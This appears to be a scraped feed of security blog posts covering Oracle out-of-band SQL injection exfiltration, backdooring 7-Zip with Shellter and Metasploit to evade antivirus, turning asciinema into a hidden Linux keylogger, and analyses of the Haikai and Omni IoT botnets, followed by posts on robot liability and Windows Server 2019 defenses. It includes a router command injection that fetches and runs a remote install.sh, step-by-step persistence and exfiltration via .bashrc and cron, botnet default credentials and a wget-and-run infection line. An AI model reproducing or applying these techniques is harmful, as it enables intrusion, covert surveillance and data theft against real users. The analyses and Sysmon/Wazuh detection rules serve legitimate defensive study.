Quantcast
Channel: Security Art Work
Viewing all 155 articles
Browse latest View live

Web auditing: Jump on the bandwagon! (or not)

$
0
0

Usually, whenever we are auditing a web application with a poorly programmed backend, we might  find SQL Injection vulnerabilities. We will mainly encounter Blind, Error-based or -if we get lucky- Union-based injections. However, it is not quite usual to find an SQLi out-of-band vulnerability.

These do not only rely on a vulnerable application, but also on being able to exfiltrate information from a different band than the website.

The fact that the results are sent through a completely different way, along with the variety of shapes that these may take; makes it quite difficult to use automated tools to exploit these kinds of vulnerabilities. Even so, in situations where the server responses are not stable or  are too unreliable, it might be worth trying to exfiltrate information this way.

As an example, lets take a look at an injection found in an audit I performed recently.

This time, the vulnerability was quite weird, as the name of the parameter was sql*** –which shouted injection from miles away- but the website itself wasn’t either returning any errors nor  being affected by time-based techniques. Yet, our best friend Burp active scan seemed convinced that an SQLi was going on at that specific parameter.

Examining it calmly, we discover that the application can be compromised using an old Oracle vulnerability, dated in 2014! . This vulnerability comes from an error in the security measures applied when parsing XML on Oracle, which prevent the inclusion of external entities, but do not filter the request to obtain them. In short, it is a, authenticated pseudo-XXE vulnerability, midly difficult to exploit in a common situation, but an interesting exfiltration method for opportunistic auditors like us.

The vulnerability uses the following payload:


This will force a connection to http://IP/test from the database in order to obtain XML Entity, but, we can also modify the requested URL to concatenate queries to the database and exfiltrate the results just like this:

Causing our server to recieve a request like this one:

The only downsides to this exfiltration technique are that we will only be able to return one cell at a time, forcing us to be very specific in our queries; and that we need a server accesible from the internet. All of this might be a problem if we exploited the vulnerability manually each time we found it, but, who likes to do things manually, right?

Automating

To automate the exploitation process, I made a small script that generates the payloads, sends them and initializes the web server to recieve the results.

For the time being, the script only supports GET requests with customizable headers and URL. It also allows not launching the web server, in case we want to recieve the responses on a different one. It has 4 output  levels(or logging, for the connoisseurs): Info, Ok, Warning y Error.

The output looks like this:

It also uses an external payload file, payloads.lst by default, which we can modify to our liking, or even choose a file for ourselves.

Conclusion

As always, keep your systems updated, including your database. It can make the difference!

Check out the source code of the script here

(Post outputs are simplified to hide sensitive information)

Bibliography:

La entrada Web auditing: Jump on the bandwagon! (or not) aparece primero en Security Art Work.


Evading AV with Shellter. I also have Sysmon and Wazuh I

$
0
0

I suggest imagining the following fictitious situation:

I am Johnny, a disgruntled employee. My boss has exploited me, he does not stop sending me tasks, he does not pay me the extra hours and, in addition, he never thanks me for the work I do … One day, fed up with the situation, I said to myself: “he’s going to find out what’s what”. And I started planning: I’m going to hack his computer and steal all the sensitive information he has. But how? After thinking the matter over: I know! I’m going to see if in the results of the internal vulnerability audits, to which I have access, his computer has some security flaw that can be exploited.
Darn! He has everything patched … and I don’t have any money for a 0 day. What I can do?

One day my boss asked me if I knew of any free program to decompress files in Windows operating systems and…

Of course, I answered yes, and I that would send it to him by mail. And that’s when I started preparing the “little gift”.

As I know we have a good antivirus and it is always updated, I will use the Shellter tool (https://www.shellterproject.com/) to load my shellcode into the legitimate program, which my boss has asked me for, and obscure it in such a way that when I run it, I open a session on my machine to his computer.

Shellter, as it is defined in its web, is a dynamic shellcode injection tool. Being dynamic means that Shellter executes the file I want to infect and, once this execution is finished, it offers me different options to infect the file, as and where I want.

In addition, the shellcode to be injected can be generated by myself or through a framework. In my case, I will use Metasploit.

I will open Metasploit, generate my payload and leave it listening:

Now I download 7-Zip (http://www.7-zip.org/), an application that meets the requirements requested by my boss, and execute Shellter to enter my shellcode (highlighted in the previous image).

I choose the automatic mode and I indicate to the program the route of the 7-Zip program:

I activate stealth mode, I choose payload 7 from the list and I copy the code generated by Metasploit:

And once the injection has been verified, I press Enter to finish the process:

Before sending anything, I verify that the corporate antivirus does not detect it as a threat. Also, and as a personal interest, I upload it to Virustotal (https://www.virustotal.com/es/) to check how many antivirus programs would detect it as malware:

After this, and with everything ready, I will reply to my boss explaining that he can use the program that I attached to decompress files without having to acquire a license for its use.

Now I just have to wait … If you do not want to miss what happens next, stay attentive to the blog.

La entrada Evading AV with Shellter. I also have Sysmon and Wazuh I aparece primero en Security Art Work.

Evading AV with Shellter. I also have Sysmon and Wazuh II

$
0
0

After what was seen in the first post of this story in this one we will keep telling you what happens and we will meet the boss. Put yourselves again in that situation that Johnny told us about in the first part.

“Hello, allow me to introduce myself. I’m John, Johnny’s boss. I am aware that I have many enemies among which are surely my competitors or even my own employees. Physically, no one can touch me, I always go with my bodyguards. But technologically, anyone could try to attack my team with the objective of stealing valuable information”.

That’s why, in addition to the corporate antivirus, I decided to add one more layer of security on my computer with Sysmon & Wazuh.

Sysmon, is a customizable monitoring tool for Windows systems with the ability to record events of system activity.

To install Sysmon, once downloaded, I opened a console with administrator permissions and executed the following command:

C:\Users\Pepote\Downloads\Sysmon> Sysmon64.exe –i sysmonconfig.xml –accepteula

It is highly recommended to install Sysmon with a configuration file that only records events of the activity that interests me, otherwise, it can fill the disk with legitimate activity records of my system.

On the other hand, I installed the Wazuh service on a server, a fork of HIDS Ossec, which is an open source and free host-based intrusion detection system. And, to this server, I added my machine:

And I extracted the agent key from my computer, since I will need it to configure the Wazuh agent in my system:

With this key, I went to my computer, I downloaded the Wazuh agent, I installed it and I added the IP of my Wazuh server and the agent code of my computer, generated previously:

I pressed “Save”, and before executing the agent, I went to the “View” tab and clicked on “View Config”. This is the Wazuh configuration file of my computer, where I added the following lines so that the agent also sends the events generated by Sysmon to the server:

<localfile>
<location>Microsoft-Windows-Sysmon/Operational</location>
<log_format>eventchannel</log_format>
</localfile>

I saved the file, and then I ran the agent from the “Manage” tab and by clicking on “Start”.

To verify that the agent was installed correctly, I could look in the logs of the agent itself, in the “View> View Logs” tab, or in the server executing the following command:

At that point, my computer was already sending events to the server and generating alerts according to the loaded rules. For my part, I created some additional rules to detect suspicious activity in the events generated by Sysmon:

<rule id="184778" level="12">
<if_group>sysmon_event1</if_group>
<field name="sysmon.image">powershell.exe</field>
<field name="sysmon.commandline">-nop -w hidden</field>
<description>Sysmon - Ejecucion de Powershell sospechosa 1</description>
</rule>
<rule id="184779" level="12">
<if_group>sysmon_event3</if_group>
<field name="sysmon.image">powershell.exe</field>
<description>Sysmon - Conexion de red detectada desde Powershell</description>
</rule>

I forgot, Wazuh also allows us to visualize the alerts generated in a graphical interface using the ELK stack (Elasticsearch, Logstash and Kibana).

So, before finishing my workday, I always go into the web interface to see the alerts generated on my computer and act quickly if a possible intrusion is detected:

I do not see any high alert, level 12 or higher (highlighted with a green box in the previous image), so I can go home with no worries.

By the way, my WinRAR license has expired so I’m going to ask Johnny to find me a similar but free software.

(N.d.E.: In the next few days we will publish the third and last part of this interesting story).

La entrada Evading AV with Shellter. I also have Sysmon and Wazuh II aparece primero en Security Art Work.

Evading AV with Shellter. I also have Sysmon & Wazuh III. GAME OVER

$
0
0

After the first two posts of the story [1] [2] where we told you about Johnny’s intentions and John’s security, in this post we are going to tell you the outcome, and give you an idea of the two characters in the story.

Johnny:

“Here I am, waiting for my boss to execute the “program” that he has asked me for and that I have prepared for him with special affection”.

After a long wait, at least for me, my boss runs the application and I get a session to his computer in Metasploit.

All right! I’m already inside.

“I’ll see what he has around here…”


“On the other hand, let’s see what the boss is doing.”

John:

“The truth is that Johnny’s program is going very well. Now that I think about it, he’s a very good worker and I never thank him for it. I’m going to turn off the computer, that’s enough for today, and I’m going to thank Johnny for everything he has done for the company, and that the company will reward him with a good salary increase. But hey, as I always do before turning off, I’ll do the typical review of Wazuh alerts. ”

BUT WHAT IS THIS?! Four level 12 alerts? Let’s see, let’s see what happened here…

From the execution of the program that Johnny sent me, the Powershell command has been executed. And later a connection was opened from my system (192.168.37.138) to the IP address 192.168.37.148, by port 4444.

I look in the CMDB (Configuration Management Database) and verify that this IP address corresponds with that of Johnny’s computer, something that I was already suspecting.

I don’t want to jump to conclusions yet, it’s possible that a malicious executable has been uploaded to the 7-Zip website. I access it, I download the same version that Johnny had given me and calculate the MD5 of both executables. I see that, in fact, it is not the same.

I’m surer and surer of what is happening here, but first of all, I will upload the executable to Virustotal to check if it was already uploaded and since when. Bingo! It seems that someone uploaded it for the first time just before Johnny sent it to me.

I access the proxy records and I see that Johnny made the request…”

La entrada Evading AV with Shellter. I also have Sysmon & Wazuh III. GAME OVER aparece primero en Security Art Work.

Simple & crazy covert channels (I): Asciinema (en)

$
0
0

In the preparation of our audits, we often waste a lot of time developing tools that require a lot of work and, in many cases, do not go unnoticed by those users with a more technical profile.
However, there are other simpler (and equally effective) methods to carry out the exfiltration of information, such as through tools that were not initially designed for this purpose and which, with relatively simple adjustments, allow us to carry it out.

Thus, in the following article the analysis of the asciinema tool will be carried out, as well as the different possibilities of use and how it can be integrated with an attack vector.

Asciinema is a very nice tool that I usually use for demos whose sole function is to register the user’s session and to provide a URL that allows us to easily share the user’s activity. Very valuable information that can be used in a malicious way.

Below, we will see if we could use it as a Linux keylogger and what modifications would be necessary to apply.

First of all, we observe how the session logging functionality works.

As you can see, we have some info messages that should be deleted, as well as the URL where the sample has been uploaded.
Beyond this information, it does not seem to modify the user’s environment, so we keep going in search of the source code files that store the information messages.

With a simple grep on the asciinema path, we find that these messages are stored in the asciinema/commands/record.py file, so we are going to delete them.

We also find that the screen output of the URL must be deleted in the upload file: asciinema/commands/upload.py.

After those changes, we already have our asciinema without a trace:

At this point, we must upload our tool fork to a github that does not attract too much attention.

Next, we must think about how we can integrate the session log without the user noticing. A simple way would be by entering the command in the ~/.bashrc file, so every time Johnny executes Bash, asciinema will be storing the whole session.

Once our tool cannot be detected at a glance, we have several possible options for session exfiltration.
The first one is through asciinema.org’s own page, the way to identify our file is by associating a unique identifier to the file name with the -t option, for example:

asciinema rec -t “ID_username”

This would be how we would implement it in a script in Bash.

This method would draw less attention in terms of contacting domains of dubious reputation but prevents a comfortable management of the results obtained.

Another way of doing this would be to store the session in a local file and exfiltrate it through another method.

We can use the same unique identifier for identification, as well as the rec option without the argument “-t”. For this, we would need to install a series of command lines, both in ~/.bashrc and in the system crontab.

The third (and cleanest) method would be through the modification of the file asciinema/api.py, which incorporates the functionality of uploading the file through the web API.

Once we have devised the complete functionality of the malware, it would only need to be wrapped as a gift.

So, we will need to install our modified version of asciinema on the computer (in this article we will assume that the user has git and python3 installed), as well as load the variables linked to the name so that the random part is modified and the asciinema is executed in the .bashrc in a hidden file.

Finally we add an entry in the crontab that exfiltrates through a POST request the files to a registered domain.

All this can be integrated through the following script in Bash:

Now that we have the session log and the information exfiltration, all we need is an entry vector to the Linux system. We can use the fashionable vulnerability in those moments, such as, for example, some related to fiber routers…

So, we store all the above information in a bash script, which we will upload to our domain.

curl -k -d “XWebPageName=diag&diag_action=ping&wan_conlist=0&parametro_vulnerable=wget;wget -qO -http://ourdomain.com/install.sh;chmod +x install.sh;./install.sh&ipv=0” http://objetivo 

So, with this simple method we would already have a tool capturing all the information of the user session and its exfiltration through different methods.

La entrada Simple & crazy covert channels (I): Asciinema (en) aparece primero en Security Art Work.

Analysis of Linux.Haikai: inside the source code

$
0
0

A few days ago we got the source code of the Haikai malware, which corresponds to one of the many implementations carried out by the continuous recycling of source code belonging to different IoT botnets. Although we have not identified any new developments compared to previous IoT malware versions, it has allowed us to obtain a lot of information on techniques, improvements and authors.

It should also be noted that, according to different records obtained, this botnet has been in operation for most of the last month of June.

In the following lines the code will be analyzed, as well as the possible attributions and the implementations not referenced in the execution thread, which allow us to guess that the code is mutating in different lines in parallel for the same function.

So let’s start by analyzing the structure of the files.

Files in the Haikai source code

Files in Mirai source code

As we can see, all the files (with the exception of g.c), have the same nomenclature as the Mirai malware. In spite of this, most of the code that is called in the execution thread is in g.c; and other very interesting features incorporated by Mirai in 2016 (like those included in the scanner.c file), are ignored by Haikai.

As for the main of the code, it is in the g.c. file. It can be noted that the first action it performs is to check the Python binary to use one length, and another one in the assignment of the name of the process, a feature not present in the Mirai source code.


As soon as you carry out this access, check if the list of servers is less than or equal to 0 through the variable SERVER_LIST_SIZE, defined above with the following instructions.

#define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
…
…
unsigned char *commServer[] = {"185.47.62[.]197"};

Next, the debug string is executed, and then the functions table_init() y killer_init()are called up.:

\x1b[31m[Hakai] \x1b[32mConnected\x1b[0m\r\n

Both functions are present in the Mirai source code and incorporate new features that we will analyze later; however, we are going to stop in the analysis of the StartTheLelz () function.

As we can see in the image below, this function is imported from the BashLite malware, one of the first IoT botnets known to make use of shellshock-type vulnerabilities. However, this new implementation incorporates a number of new features.

BashLite source code

While the BashLite function has less than 300 lines of code, the one implemented in Haikai is around 600.

In both cases, the telnet response management is carried out through a switch-case structure. In the case of Haikai, through the commented code and the disorder in new cases, they show a different author behind it.

The implementation of case 70, which performs an anti-honeypots check by verifying the architecture strings in the detectbox character list.

char *detectbox[] = {"powerpc","mips", "arc", "x86_64", "armv7l", "armv6l", "armv5l", "armv4l", "sh4", "mipsel", "arm4", "arm5", "arm6", "ARMv6", "ARMv7", "amd64", 0};

In the following cases, the ideal method for raising the sample is analyzed:

Finally, it manages the ARMv7, ARMv4 and ARC architectures in a special way, although this type of management is also discussed on the MIPS and MPSL architectures.

This management consists of executing, through the echo command, the hexadecimal of a binary adjusted to the architecture, according to lists defined at the beginning of the code. These lines are the following:

char *a4[] = {"armv4l", "arm4", "ARMv5", "armv5l", 0};
char *a7[] = {"armv7l", "arm7", "ARMv7", "ARMv6", "armv6l",  0};
char *mipsel[] = {"mipsel", 0};
char *ArCc[] = {"arc", 0};

If we reconstruct the binary, we obtain a sample whose only function is to carry out the download through an HTTP request of the source code that we are analyzing, but compiled for its architecture:

This technique was first implemented by Hajime malware.

As for the other architectures, a bash script is downloaded, which, will presumably download the binaries of different architectures, a technique inherited from the Gafgyt malware.

On the other hand, we have found that the number of combinations used in the search for potential victims is less than the number entered in Mirai (only nine combinations). In addition, these credentials are not implemented through the scanner_init () function, but are defined as global variables at the beginning of the code, although they have also been introduced in this function.

char *usernames[] = {"root\0", "root\0", "admin\0", "root\0", "adm\0", "default\0", "default\0", "root\0", "root\0"};
char *passwords[] = {"root\0", "admin\0", "admin\0", "vizxv\0", "\0", " OxhlwSG8\0", "S2fGqNFs\0", "zlxx.\0", "LsiuY7pOmZG2s\0"};

As for communication with the Command & Control server, it was found to be governed by the following commands:

  • QTELNET → Activates the botnet
  • OFF → For scanning the network in search of vulnerable devices
  • ON → Enables network scanning for vulnerable devices

Interestingly enough, network scanning is carried out with the StartTheLelz () function, already discussed above, when the scanner.c file and, therefore, the scanner_init () function, is implemented in the code, but is never referenced.

As for the instructions for the execution of denial of service attacks, they are as follows:

  • H → Executes attacks via HTTP
  • U → Executes attacks via UDP
  • S → Executes attacks via STD
  • T → Executes attacks via TCP
  • KT → Kills malware-related processes

None of these attacks is new, as we have seen and analyzed them in previous articles, so we will only focus on the implementation of User-Agents in the HTTP attack, which allows the addition of a large number of them with great ease.

As for the table_init () function, implemented in the table.c file, it allows the encoding of strings in the malware and is directly imported from Mirai.
The comments in the code allow us to obtain the raw key information and, in this way, deepen the attribution of the sample.

First, we obtain the C2 domain which is hakaiboatnet [.]pw and in which, at the time it was in operation, we had the following display:

And if you followed the steps indicated on the web, the result was the following:

To round off the “trolley”, once Ankit Anubhav (@ankit_anubhav), a well-known IoT malware researcher, echoed the fact in his Twitter account, the domain included a display of himself on the web portal.

Other hard-coded information is the safe string, where in Mirai we found the link to the well-known Rick Astley video clip “Never Gonna Give You Up”, in this sample we have: “gosh that chinese family at the other table sure ate alot”.

We already reported the existence of this chain in the report “Mirai Year One: Evolution and Adaptation of a botnet”, and attributed it to the Lizard Squad group, authors of the MASUTA, MEMES and FREEPEIN campaigns of Mirai, in addition to the incorporation of the hexadecimal code injection of the downloader and UPX packaging.
We have seen all these developments in this code.

Another point to note is the large amount of code not referenced in the main thread that allows us to obtain information, perhaps not from this particular botnet, but from the evolution of the code shared by the community.

First of all, it is interesting to highlight the implementation of new addresses to be avoided by malware through get_random_ip (). While Mirai avoided a small number of networks, Haikai includes the networks belonging to the following subnets:

Amazon
Amazon + Microsoft
Blazingfast & Nforce
Choopa & Vultr
CIA
Cloudflare
Department of Defense
Department of the Navy, Space and Naval Warfare System Command, Washington DC - SPAWAR
Digital Ocean
FBI controlled Linux servers & IPs/IP-Ranges
General Electric Company
Hewlett-Packard Company
IANA NAT reserved
IANA Special use
Internal network
Invalid address space
Loopback
Ministry of Education Computer Science
Multicast
NASA Kennedy Space Center
Naval Air Systems Command, VA
ONLINE SAS
OVH
Some more
Total Server Solutions
U.S. Department of State
US Postal Service

Capture of the get_random_ip () function from Mirai

Screenshots of the Haikai scanner.c file

Finally, we found evidence that the most interesting part of the code had been deleted, and was linked to the infection of devices through exploits, a feature of the newest versions of the IoT malware, such as IoTReaper, Okiru or Omni.

Note that a domain used by Okiru is network [.] Bigbotpein [.]com, also used by the Mirai FREEPEIN variant.

Haikai exploit.h file code captures

Code captures from Haikai feg.h file

None of the referenced functions are implemented in the malware execution thread.

After analyzing the source code, we can conclude that the code has a complex origin, detecting techniques of up to five different IoT malwares (BashLite, Gafgyt, Mirai, Hajime and IoTReaper). However, strings and domains allow us to assign a large part of the code to the Lizard Squad group (or at least to some of its members).

On the other hand, it is also important to highlight the great concept of community that those dedicated to the exploitation of IoT botnets have, where, with the exception of exploits that allow the anticipation in such a competitive sector, they have no qualms about sharing those improvements implemented in the code.

La entrada Analysis of Linux.Haikai: inside the source code aparece primero en Security Art Work.

Analysis of Linux.Omni

$
0
0

Following our classification and analysis of the Linux and IoT threats currently active, in this article we are going to investigate a malware detected very recently in our honeypots, the Linux.Omni botnet. This botnet has particularly attracted our attention due to the numerous vulnerabilities included in its repertoire of infection (11 different in total), being able to determine, finally, that it is a new version of IoTReaper.

Analysis of the binary

The first thing that strikes us is the label given to the malware at the time of infection of the device, i.e., OMNI, because these last few weeks we were detecting OWARI, TOKYO, SORA, ECCHI… all of them versions of Gafgyt or Mirai and, which do not innovate much compared to what was reported in previous articles.

So, analyzing the method of infection, we find the following instructions:

As you can see, it is a fairly standard script and, therefore, imported from another botnet. Nothing new.

Although everything indicated that the sample would be a standard variant of Mirai or Gafgyt, we carried out the sample download.

The first thing we detect is that the binary is packaged with UPX. It is not applied in most samples, but it is not uncommon to see it in some of the more widespread botnet variants.

After looking over our binary, we found that the basic structure of the binary corresponds to Mirai.

However, as soon as we explore the binary infection options, we find attack vectors that, in addition to using the default credentials for their diffusion, use vulnerabilities of IoT devices already discovered and implemented in other botnets such as IoTReaper or Okiru / Satori, including the recent one that affects GPON routers.

Let’s examine which are these vulnerabilities that Omni uses:

Vacron

Vulnerability that makes use of code injection in VACRON network video recorders in the “board.cgi” parameter, which has not been well debugged in the HTTP request parsing. We also found it in the IoTReaper botnet.

Netgear – CVE-2016-6277

Another of the vulnerabilities found in Omni is CVE-2016-6277, which describes the remote execution of code through a GET request to the “cgi-bin/” directory of vulnerable routers. These are the following:

R6400                         R7000
R7000P           R7500
R7800                         R8000
R8500                         R9000

D-Link – OS-Command Injection via UPnP

Like IoTReaper, Omni uses a vulnerability of D-link routers. However, while the first used a vulnerability in the cookie overflow, the hedwig.cgi parameter, this one uses a vulnerability through the UPnP interface.

The request is as follows:

And we can find it in the binary:

The vulnerable firmware versions are the following:

DIR-300 rev B – 2.14b01
DIR-600 – 2.16b01
DIR-645 – 1.04b01
DIR-845 – 1.01b02
DIR-865 – 1.05b03

CCTV-DVR 

Another vulnerability found in the malware is the one that affects more than 70 different manufacturers and is linked to the “/language/Swedish” resource, which allows remote code execution.

The list of vulnerable devices can be found here:

http://www.kerneronsec.com/2016/02/remote-code-execution-in-cctv-dvrs-of.html

D-Link – HNAP

This is a vulnerability reported in 2014 and which has already been used by the malware The Moon, which allows bypassing the login through the CAPTCHA and allows an external attacker to execute remote code.

The vulnerable firmware versions on the D-Link routers are the following:

DI-524 C1 3.23
DIR-628 B2 1.20NA 1.22NA
DIR-655 A1 1.30EA

TR-069 – SOAP

This vulnerability was already exploited by the Mirai botnet in November 2016, which caused the fall of the Deutsche Telekom ISP.

The vulnerability is as follows:

We can also find it in the binary.

Huawei Router HG532 – Arbitrary Command Execution

Vulnerability detected in Huawei HG532 routers in the incorrect validation of a configuration file, which can be exploited through the modification of an HTTP request.

This vulnerability was already detected as part of the Okiru/Satori malware and analyzed in a previous article: (Analysis of Linux.Okiru)

Netgear – Setup.cgi RCE

Vulnerability that affects the DGN1000 1.1.00.48 firmware of Netgear routers, which allows remote code execution without prior authentication.

Realtek SDK

Different devices use the Realtek SDK with the miniigd daemon vulnerable to the injection of commands through the UPnP SOAP interface. This vulnerability, like the one mentioned above for Huawei HG532 routers, can already be found in samples of the Okiru/Satori botnet.

GPON

Finally, we found the latest vulnerability this past month, which affects GPON routers and is already incorporated to both IoT botnets and miners that affect Linux servers.

On the other hand, the botnet also makes use of diffusion through the default credentials (the way our honeypot system was infected), although these are encoded with an XOR key different from the 0x33 (usual in the base form) where each of the combinations has been encoded with a different key.

Infrastructure analysis

Despite the variety of attack vectors, the commands executed on the device are the same:

cd /tmp;rm -rf *;wget http://%s/{marcaDispositivo};sh /tmp/{marcaDispositivo}

The downloaded file is a bash script, which downloads the sample according to the architecture of the infected device.

As we can see, this exploit does not correspond with the analyzed sample, but is only dedicated to the search of devices with potentially vulnerable HTTP interfaces, as well as the vulnerability check of the default credentials, thus obtaining two types of infections, the one that uses the 11 previously mentioned vulnerabilities and the one that only reports the existence of exposed HTTP services or default credentials in potential targets.

Therefore, the architecture is very similar to the one found previously in the IoTReaper botnet.

Behind Omni

Investigating the references in the binaries we find the IP address 213.183.53 [.] 120, which is referenced as a download server for the samples. Despite not finding a directory listing available (in other variants it is quite common to find it), in the root directory we find a “Discord” platform, which is (officially) a text and voice chat for the gamer audience.

So, since it didn’t require any permissions or special invitation, we decided to choose a megahacker name, and enter the chat.

Once inside, we observed that the general theme of the chat is not video games, but a platform for the sale of botnet services.

After a couple of minutes in the room, it follows that the person behind the infrastructure is the user Scarface, who has decided to make some very cool advertising posters (and according to the aesthetics of the film of the same name).

In addition, it also offers support, as well as requests from potential consumers seeking evidence that their botnet is capable of achieving a traffic volume of 60 Gbps.

We can find some rather curious behaviors that denote the unprofessional nature of this group of cybercriminals, for example how Scarface shows the benefit it has gained from the botnet (and how ridiculous the amount) or how they fear that any of those who have entered the chat are cops.

So, we can determine that the Linux.Omni malware is an updated version of the IoTReaper malware, which uses the same network architecture format, besides importing, practically, all the Mirai source code.

Attached is the Yara rule for detecting the Linux.Omni malware:

IoC

213.183.53[.]120
21aa9c42b42e95c98e52157fd63f36c289c29a7b7a3824f4f70486236a2985ff
4cf7e64c3b9c1ad5fa57d0d0bbdeb930defcdf737fda9639955be1e78b06ded6
6dfd411f2558e533728bfb04dd013049dd765d61e3c774788e3beca404e0fd73
000b018848e7fd947e87f1d3b8432faccb3418e0029bde7db8abf82c552bbc63
5ad981aefed712909294af47bce51be12524f4b547a63d7faaa40d3260e73235
31a2779c91846e37ad88e9803cbad8f8931e3229e88037f1d27437141ecbd164
528344fd220eff87b7494ca94caed6eae7886d8003ad37154fdb7048029e880b
cfca058a4d0a29b3da285a5df21b14c360fb3291dff3c941659fe27f3738ba3e
2b32375864d0849e676536b916465a1fbb754bbdf783421948023467d364fb4c
700c9b51e6f8750a20fcc7019207112690974dcda687a83626716d8233923c17
feb362167c9251dd877a0d76d3b42b68fcd334181946523ca808382852f48b7d
ca6bc4e4c490999f97ee3fd1db41373fc0ba114dce2e88c538998d19a6f694da
fc4cfc6300e3122ef9bbe6da3634d3b9839e833e4fc2cea8f1498623398af015
0fd93aeb2af3541daa152d9aff8388c89211b99d46ead1220c539fa178543bca
02a61e1d80b1f25d161de8821a31cd710987772668ce62c8be6d9afabe932712
377a49403cef46902e77ff323fcc9a8f74ea041743ccdbff41de3c063367c99a
812aa39075027b21671e5a628513378c598aef0feb57d0f5d837375c73ade8e8
c9caccd707504634185ee2a94302e3964fb6747963e7020dffa34de85bd4d2ce
a159c7b5d2c38071eb11f5e28b26f7d8beaf6f0f19a8c704687f26bfa9958d78
5eb7801551ee15baec5ef06b0265d0d0cc8488f16763517344bb8456a2831b82
2f1d0794d24b7b4f164ebce5bdde6fccd57cdbf91ea90ec2f628caf7fd991ce4

(N.d.E.: Original post in Spanish)

La entrada Analysis of Linux.Omni aparece primero en Security Art Work.

Who takes responsibility for errors made by smart robots?

$
0
0

As those of us who are interested in robotics know, ir represents one of the great technological advances of the 21st century. However, for this progress to be properly made, it must be accompanied by a transparent and dynamic regulatory framework that unifies and clarifies the uncertainties it generates. However, today there is no such regulatory framework at national, European or international level.

However, there are two references that are worth considering.

Firstly, the recommendation of the European Parliament (Draft Report with recommendations to the Commission on Civil Law Rules on Robotics (2015/2103(INL)) for the establishment of a set of rules on liability. In the face of a possible “new industrial revolution” in which society enters an age of robots, bots, androids and other more advanced forms of AI, it is imperative that the legislator consider the consequences that may result from the use and implantation of these devices in our daily lives.

Also, on the basis that there is no regulation for this niche market, we should mention ISO 13482, restricted to the field of personal care robots. However, this standard does not regulate any type of liability, nor does it address questions about the impact that the use of personal care robots may have on fundamental rights.

However, although there are no regulations in Europe or the USA regulating legal liability in the event of robot error, malfunction, etc., there must always be a person responsible for any acts or injuries caused by the robot as a result of its actions. Hence, when a fault or error occurs, the same rules as for other defective products will apply. That is to say, the regulation that establishes that the responsibility is of the manufacturer will be applied (Spanish: see What happens when a robot causes damage?).

However, the problem arises in those cases in which a manufacturer launches a product whose software and programming has been carried out by a third party. In this area, it is necessary to determine the extent of manufacturer liability. If we require the device to perform the tasks for which it was created with complete certainty (i.e. the robot works perfectly and involves absolutely no risk), we are discouraging technological progress by demanding too precise results without allowing a minimum margin of error and, therefore, innovation will be undermined. Therefore, as Bertolini points out in the RoboLaw project (see RoboLaw Project and this RoboHub blog post; also in Spanish: Automatons and cyborgs, lawless land: who pays if a robot commits a crime?), we need alternative rules that do not punish the manufacturer of the device too much.

As we can see, the legal response to controversies arising from tasks performed by an “intelligent” robot is not as easy and straightforward as with “single-function” robots because, although we apply existing legislation for the protection of consumers and users, “intelligent” robots can probably be customized by the user with functions and applications that a priori were not included in the robot software. Thus, such customization will make it more difficult to determine responsibility in the event of robot failure or error, making it difficult to identify the element that caused the malfunction.

In the same way (even if it is not something viable or forthcoming at the moment), there will come a day when robots can learn from the environment where they operate, interact with it and make decisions not foreseen in their initial configuration; this is what has come to be called the “theory of emerging properties”. In this case, it would be even more complex to delimit responsibility, which is leading to the question of whether learning through intelligent algorithms and operation should be limited only to tasks or functions designed at origin, an option known as “code as law” or “regulation by design“.

From my point of view, if, out of prudence, we restrict the capacities that robots may have in the future and opt for regulation from design (not to be confused with privacy from design), we will be restricting technological evolution and perhaps leading robotics to a future too conservative, which will deprive us of many of the advances that are yet to come.

La entrada Who takes responsibility for errors made by smart robots? aparece primero en Security Art Work.


Security in Windows Server 2019

$
0
0

At the end of last December, Microsoft published a document titled What’s new in Windows Server 2019, covering the new features and renewed functionalities provided by the new version of Windows Server. This post will focus on those features related to security improvements provided by Windows Defender ATP that had already been seen in Windows 10 through Windows Defender Exploit Guard, EMET (Enhanced Mitigation Experience Toolkit, which ceased to have support last July 31, 2018), as well as WDAC (Windows Defender Application Control).

While writing this post, the research deepened and led to a much more comprehensive document on ATP, specifically Windows Defender Advanced Threat Protection. This post is intended to be a brief, orderly summary of the links in the aforementioned document.

Windows Defender Advanced Threat Protection (ATP)

The Windows Defender ATP system is designed to protect the kernel and system memory from malicious files and processes, either by blocking or terminating them, in order to prevent host intrusion. In its development, it relies on several aspects to be taken into account to reduce intrusion.

1. Attack Surface Reduction (ASR)

Attack Surface Reduction (ASR) is based on a complex set of rules managed by system administrators that allow to block potentially dangerous files based on their behavior. These rules block these files based mainly on the following aspects or behaviors:

  • Executable in mail.
  • Secondary processes, Win32 API calls from macros or executables created by Office applications, as well as the possibility of code injection.
  • Scripts that execute code downloaded by them, unsigned and unreliable processes from USB, …

2. Network Protection

This network filtering capability is located in the system kernel and is aimed at protecting the host. In this case, it blocks outgoing computer connections against potentially dangerous domains to prevent phishing damage, sites that may attempt to install malware on the machine, and even spread to other machines on the network. The blocking relies mainly on reputation intelligence based on both the IP and the domain name, combining online searches and caching. If the result indicates that the connection is to a bad reputation site, the Internet connection (to this web-based malware) is blocked, whether the call is generated from a browser or from a background process.

3. Controlled Access Folder

In recent years, ransomware attacks that led to the encryption of files in organizations and businesses have been notorious. To avoid these behaviors, controlled access to folders is available. In essence, the aim is to avoid the use of files by processes not defined as trusted. The management of this feature in the IT infrastructure can be carried out through GPO or PowerShell. In addition to controls definition, each time an attempt to make a change to protected directories is blocked, an alert is generated in Windows Defender ATP.

4. Exploit Protection

Vulnerability protection was already present in EMET and is now available in Windows Defender ATP. Since EMET is no longer supported, Microsoft has implemented mechanisms for migrating the rules defined in EMET to ATP. Among the mitigations it carries out are those related to code execution, remote image integrity validation, blocking of non-trusted sources, API validations, blocking of secondary processes and driver validation. As mentioned above, some were already present in EMET and others are their own or have been improved by ATP.

With respect to the four points cited so far, all these mechanisms can be enabled in audit mode, in which the system simulates its execution, leaving traces of the simulated actions in the event logs, so that after a given analysis period, it can be determined if the rules designed are valid and can go live. In addition, the administrator can enable the notification so that the user is aware of the locks. This is useful in case a false positive occurs, so the user can notify the error caused by the locking mechanism.

5. Windows Defender Application Control (WDAC)

As indicated in the article, WDAC appeared with Windows Server 2016. As a management improvement, Microsoft has developed Code Integrity (CI) policies so executables that put integrity at risk can be blocked. In this case, instead of considering all the applications and libraries as trustworthy, the approach is reversed and non-trust is assumed, so which applications users can run and which code can be executed in the system kernel must be established explicitly. On the other hand, it also incorporates the ability to block unsigned scripts and .msi, as well as determine whether add-ons or application modules can be executed, making use of simple rules that relate executables to libraries.

6. Hardware-based isolation

  • Application isolation

